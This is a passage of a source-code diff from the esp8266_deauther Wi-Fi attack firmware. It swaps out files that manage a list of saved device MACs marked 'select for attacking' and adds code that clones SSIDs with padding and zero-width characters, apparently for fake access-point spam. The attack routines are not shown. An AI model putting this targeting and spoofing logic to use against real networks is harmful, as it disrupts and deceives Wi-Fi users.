Mac getMac(int num);
|
||||
void remove(int num);
|
||||
int len = 0;
|
||||
private:
|
||||
void save();
|
||||
|
||||
MacList clients;
|
||||
uint8_t names[listLength][nameLength];
|
||||
};
|
||||
|
||||
#endif
|
|
@ -1,519 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Names.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
|
||||
Names::Names() {
|
||||
list = new SimpleList<Device>;
|
||||
}
|
||||
|
||||
void Names::load() {
|
||||
internal_removeAll();
|
||||
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||
4), false);
|
||||
sort();
|
||||
}
|
||||
|
||||
prnt(N_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void Names::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::save(bool force) {
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
|
||||
String buf = String(OPEN_BRACKET); // [
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET); // ]
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(N_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void Names::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::sort() {
|
||||
list->setCompare([](Device& a, Device& b) -> int {
|
||||
return memcmp(a.mac, b.mac, 6);
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Names::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(N_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
bool Names::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
|
||||
int Names::findID(uint8_t* mac) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String Names::find(uint8_t* mac) {
|
||||
int num = findID(mac);
|
||||
|
||||
if (num >= 0) return getName(num);
|
||||
else return String();
|
||||
}
|
||||
|
||||
void Names::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Names::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(leftRight(String(SPACE) + getName(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE) + getBssidStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void Names::printAll() {
|
||||
prntln(N_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(N_ERROR_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Names::printSelected() {
|
||||
prntln(N_TABLE_HEADER);
|
||||
int max = selected();
|
||||
int c = count();
|
||||
|
||||
if (max == 0) {
|
||||
prntln(N_ERROR_NO_SELECTED);
|
||||
return;
|
||||
}
|
||||
|
||||
for (int i = 0, j = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Names::add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force) {
|
||||
if (count() >= NAME_LIST_SIZE) {
|
||||
if (force) internal_remove(0);
|
||||
else {
|
||||
prntln(N_ERROR_LIST_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
|
||||
prnt(N_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
if (!check(num)) return;
|
||||
|
||||
remove(num);
|
||||
|
||||
internal_add(macStr, name, bssidStr, ch, selected);
|
||||
sort();
|
||||
prnt(N_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(N_REMOVED);
|
||||
prntln(getName(num));
|
||||
internal_remove(num);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setName(int num, String name) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), name, getBssid(num), getCh(num), getSelected(num));
|
||||
|
||||
prntln(N_CHANGED_NAME);
|
||||
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setMac(int num, String macStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(macStr, mac);
|
||||
internal_add(mac, getName(num), getBssid(num), getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_MAC);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setCh(int num, uint8_t ch) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_add(getMac(num), getName(num), getBssid(num), ch, getSelected(num));
|
||||
prntln(N_CHANGED_CH);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::setBSSID(int num, String bssidStr) {
|
||||
if (!check(num)) return;
|
||||
|
||||
uint8_t mac[6];
|
||||
|
||||
strToMac(bssidStr, mac);
|
||||
internal_add(getMac(num), getName(num), mac, getCh(num), getSelected(num));
|
||||
prntln(N_CHANGED_BSSID);
|
||||
internal_remove(num);
|
||||
sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
prnt(N_SELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::select(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
select(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(name);
|
||||
}
|
||||
|
||||
void Names::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
prnt(N_DESELECTED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Names::deselect(String name) {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
if (getName(i).equals(name)) {
|
||||
deselect(i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prnt(name);
|
||||
}
|
||||
|
||||
void Names::selectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_select(i);
|
||||
prntln(N_SELECTED_ALL);
|
||||
}
|
||||
|
||||
void Names::deselectAll() {
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) internal_deselect(i);
|
||||
prntln(N_DESELECTED_ALL);
|
||||
}
|
||||
|
||||
uint8_t* Names::getMac(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).mac;
|
||||
}
|
||||
|
||||
uint8_t* Names::getBssid(int num) {
|
||||
if (!check(num)) return NULL;
|
||||
|
||||
return list->get(num).apBssid;
|
||||
}
|
||||
|
||||
String Names::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Names::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(list->get(num).mac);
|
||||
}
|
||||
|
||||
String Names::getBssidStr(int num) {
|
||||
String value;
|
||||
|
||||
if (getBssid(num) != NULL) {
|
||||
uint8_t* mac = getBssid(num);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
if (mac[i] < 0x10) value += ZERO;
|
||||
value += String(mac[i], HEX);
|
||||
|
||||
if (i < 5) value += DOUBLEPOINT;
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
String Names::getName(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return String(list->get(num).name);
|
||||
}
|
||||
|
||||
String Names::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t Names::getCh(int num) {
|
||||
if (!check(num)) return 1;
|
||||
|
||||
return list->get(num).ch;
|
||||
}
|
||||
|
||||
bool Names::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
bool Names::isStation(int num) {
|
||||
return getBssid(num) != NULL;
|
||||
}
|
||||
|
||||
int Names::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Names::selected() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
int Names::stations() {
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (isStation(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Names::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Names::internal_select(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = true;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_deselect(int num) {
|
||||
Device newDevice = list->get(num);
|
||||
|
||||
newDevice.selected = false;
|
||||
list->replace(num, newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {
|
||||
uint8_t* deviceMac = (uint8_t*)malloc(6);
|
||||
|
||||
if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);
|
||||
char* deviceName = (char*)malloc(name.length() + 1);
|
||||
uint8_t* deviceBssid = NULL;
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
memcpy(deviceMac, mac, 6);
|
||||
strcpy(deviceName, name.c_str());
|
||||
|
||||
if (bssid) {
|
||||
deviceBssid = (uint8_t*)malloc(6);
|
||||
memcpy(deviceBssid, bssid, 6);
|
||||
}
|
||||
|
||||
if ((ch < 1) || (ch > 14)) ch = 1;
|
||||
|
||||
Device newDevice;
|
||||
|
||||
newDevice.mac = deviceMac;
|
||||
newDevice.name = deviceName;
|
||||
newDevice.apBssid = deviceBssid;
|
||||
newDevice.ch = ch;
|
||||
newDevice.selected = selected;
|
||||
|
||||
list->add(newDevice);
|
||||
}
|
||||
|
||||
void Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {
|
||||
uint8_t mac[6];
|
||||
|
||||
if (!strToMac(macStr, mac)) return;
|
||||
|
||||
if (bssidStr.length() == 17) {
|
||||
uint8_t bssid[6];
|
||||
strToMac(bssidStr, bssid);
|
||||
internal_add(mac, name, bssid, ch, selected);
|
||||
} else {
|
||||
internal_add(mac, name, NULL, ch, selected);
|
||||
}
|
||||
}
|
||||
|
||||
void Names::internal_remove(int num) {
|
||||
free(list->get(num).mac);
|
||||
free(list->get(num).name);
|
||||
|
||||
if (list->get(num).apBssid) free(list->get(num).apBssid);
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Names::internal_removeAll() {
|
||||
while (count() > 0) {
|
||||
free(list->get(0).mac);
|
||||
free(list->get(0).name);
|
||||
|
||||
if (list->get(0).apBssid) free(list->get(0).apBssid);
|
||||
list->remove(0);
|
||||
}
|
||||
}
|
|
@ -1,101 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define NAME_LIST_SIZE 25
|
||||
#define NAME_MAX_LENGTH 17
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String fixUtf8(String str);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Names {
|
||||
public:
|
||||
Names();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void sort();
|
||||
|
||||
String find(uint8_t* mac);
|
||||
int findID(uint8_t* mac);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void select(int num);
|
||||
void select(String name);
|
||||
void deselect(int num);
|
||||
void deselect(String name);
|
||||
void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);
|
||||
void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);
|
||||
void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void remove(int num);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
uint8_t* getMac(int num);
|
||||
uint8_t* getBssid(int num);
|
||||
String getMacStr(int num);
|
||||
String getBssidStr(int num);
|
||||
String getName(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
bool getSelected(int num);
|
||||
bool isStation(int num);
|
||||
|
||||
void setName(int num, String name);
|
||||
void setMac(int num, String macStr);
|
||||
void setCh(int num, uint8_t ch);
|
||||
void setBSSID(int num, String bssidStr);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
int stations();
|
||||
|
||||
bool check(int num);
|
||||
|
||||
private:
|
||||
String FILE_PATH = "/names.json";
|
||||
bool changed = false;
|
||||
|
||||
struct Device {
|
||||
uint8_t* mac; // mac address
|
||||
char * name; // name of saved device
|
||||
uint8_t* apBssid; // mac address of AP (if saved device is a station)
|
||||
uint8_t ch; // Wi-Fi channel of Device
|
||||
bool selected; // select for attacking
|
||||
};
|
||||
|
||||
SimpleList<Device>* list;
|
||||
|
||||
int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);
|
||||
void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
|
@ -0,0 +1,108 @@
|
|||
#include "SSIDList.h"
|
||||
|
||||
SSIDList::SSIDList() {
|
||||
if (listAdr + SSIDListLength * SSIDLength > 4096) Serial.println("WARNING: EEPROM overflow!");
|
||||
}
|
||||
|
||||
void SSIDList::load() {
|
||||
len = EEPROM.read(lenAdr);
|
||||
if ( len < 0 || len > SSIDListLength) {
|
||||
clear();
|
||||
save();
|
||||
}
|
||||
for (int i = 0; i < len; i++) {
|
||||
for (int h = 0; h < SSIDLength; h++) {
|
||||
char _nextChar = EEPROM.read(listAdr + (i * SSIDLength) + h);
|
||||
names[i][h] = _nextChar;
|
||||
}
|
||||
encrypted[i] = EEPROM.read(encAdr + i);
|
||||
}
|
||||
}
|
||||
|
||||
void SSIDList::clear() {
|
||||
len = 0;
|
||||
}
|
||||
|
||||
void SSIDList::add(String name, bool enc) {
|
||||
if (len < SSIDListLength) {
|
||||
for (int i = 0; i < SSIDLength; i++) {
|
||||
if (i < name.length()) names[len][i] = name[i];
|
||||
else names[len][i] = 0x00;
|
||||
}
|
||||
encrypted[len] = enc;
|
||||
len++;
|
||||
}
|
||||
}
|
||||
|
||||
void SSIDList::addClone(String name, int num, bool enc) {
|
||||
int _restSSIDLen = SSIDLength - name.length();
|
||||
String _apName;
|
||||
|
||||
for (int c = 0; c < SSIDListLength && c < num; c++) {
|
||||
_apName = name;
|
||||
|
||||
if (c < _restSSIDLen){
|
||||
for (int d = 0; d < _restSSIDLen - c; d++) _apName += " "; //e.g. "SAMPLEAP "
|
||||
} else if (c < _restSSIDLen * 2) {
|
||||
//_apName = " " + _apName;
|
||||
_apName = "\u200B"+_apName;
|
||||
for (int d = 0; d < (_restSSIDLen - 3) - c / 2; d++) _apName += " "; //e.g. "SAMPLEAP " (zero widtdh char at the beginning)
|
||||
} else if (c < _restSSIDLen * 3) {
|
||||
_apName = "." + _apName;
|
||||
for (int d = 0; d < (_restSSIDLen - 1) - c / 3; d++) _apName += " "; //e.g. ".SAMPLEAP "
|
||||
} else {
|
||||
for (int d = 0; d < _restSSIDLen - 2; d++) _apName += " ";
|
||||
_apName += (String)c;//e.g. "SAMPLEAP 78"
|
||||
}
|
||||
add(_apName, enc);
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDList::get(int num) {
|
||||
String _name = "";
|
||||
for (int i = 0; i < SSIDLength; i++) {
|
||||
if (names[num][i] != 0x00) _name += names[num][i];
|
||||
}
|
||||
return _name;
|
||||
}
|
||||
|
||||
bool SSIDList::isEncrypted(int num){
|
||||
return encrypted[num];
|
||||
}
|
||||
|
||||
void SSIDList::remove(int num) {
|
||||
if (num >= 0 && num < len) {
|
||||
for (int i = num; i < len - 1; i++) {
|
||||
for (int h = 0; h < SSIDLength; h++) {
|
||||
names[i][h] = names[i + 1][h];
|
||||
}
|
||||
encrypted[i] = encrypted[i + 1];
|
||||
}
|
||||
len--;
|
||||
}
|
||||
}
|
||||
|
||||
void SSIDList::save() {
|
||||
if (debug) Serial.print("saving SSIDList...");
|
||||
EEPROM.write(lenAdr, len);
|
||||
for (int i = 0; i < len; i++) {
|
||||
for (int h = 0; h < SSIDLength; h++) {
|
||||
EEPROM.write(listAdr + (i * SSIDLength) + h, names[i][h]);
|
||||
}
|
||||
EEPROM.write(encAdr + i, encrypted[i]);
|
||||
}
|
||||
EEPROM.commit();
|
||||
if (debug) Serial.println("done");
|
||||
}
|
||||
|
||||
void SSIDList::_random() {
|
||||
String _rName;
|
||||
for (int i = len; i < SSIDListLength; i++) {
|
||||
_rName = "";
|
||||
for (int h = 0; h < SSIDLength; h++) _rName += letters[random(0, sizeof(letters))];
|
||||
add(_rName, random(2) > 0.5 );
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
#ifndef SSIDList_h
|
||||
#define SSIDList_h
|
||||
|
||||
#include <EEPROM.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
|
||||
#define listAdr 2048
|
||||
#define lenAdr 2047
|
||||
#define encAdr 3585
|
||||
#define SSIDListLength 48
|
||||
#define SSIDLength 32
|
||||
|
||||
extern const bool debug;
|
||||
|
||||
class SSIDList
|
||||
{
|
||||
public:
|
||||
SSIDList();
|
||||
|
||||
void load();
|
||||
void clear();
|
||||
void add(String name, bool enc);
|
||||
void addClone(String name, int num, bool enc);
|
||||
void edit(int num, String name);
|
||||
String get(int num);
|
||||
bool isEncrypted(int num);
|
||||
void remove(int num);
|
||||
void _random();
|
||||
void save();
|
||||
int len = 0;
|
||||
private:
|
||||
|
||||
char letters[67] = {0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x20, 0x2c, 0x2e, 0x2d, 0x5f};
|
||||
char names[SSIDListLength][SSIDLength];
|
||||
bool encrypted[SSIDListLength];
|
||||
};
|
||||
|
||||
#endif
|
|
@ -1,322 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "SSIDs.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
#include "settings.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
